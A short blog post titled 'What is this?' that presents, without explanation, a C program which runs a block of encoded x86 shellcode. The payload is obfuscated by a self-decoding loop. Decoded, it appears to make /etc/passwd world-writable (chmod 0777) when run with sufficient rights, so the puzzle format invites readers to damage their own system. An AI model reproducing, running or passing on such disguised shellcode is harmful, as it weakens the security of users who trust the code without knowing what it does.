Cercar en aquest blog

29/8/14

What is this?

#include 

char shellcode[] =
 "\xeb\x11\x5e\x31\xc9\xb1\x27\x80\x6c\x0e\xff\x35\x80\xe9\x01"
 "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x4a\x66\xf5\xe5\x44"
 "\x90\x66\xfe\x9b\xee\x34\x36\x02\xb5\x66\xf5\xe5\x36\x66\x10"
 "\x02\xb5\x1d\x1b\x34\x34\x34\x64\x9a\xa9\x98\x64\xa5\x96\xa8"
 "\xa8\xac\x99";

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(shellcode));
 (*(void(*)()) shellcode)();
     
return 0;
}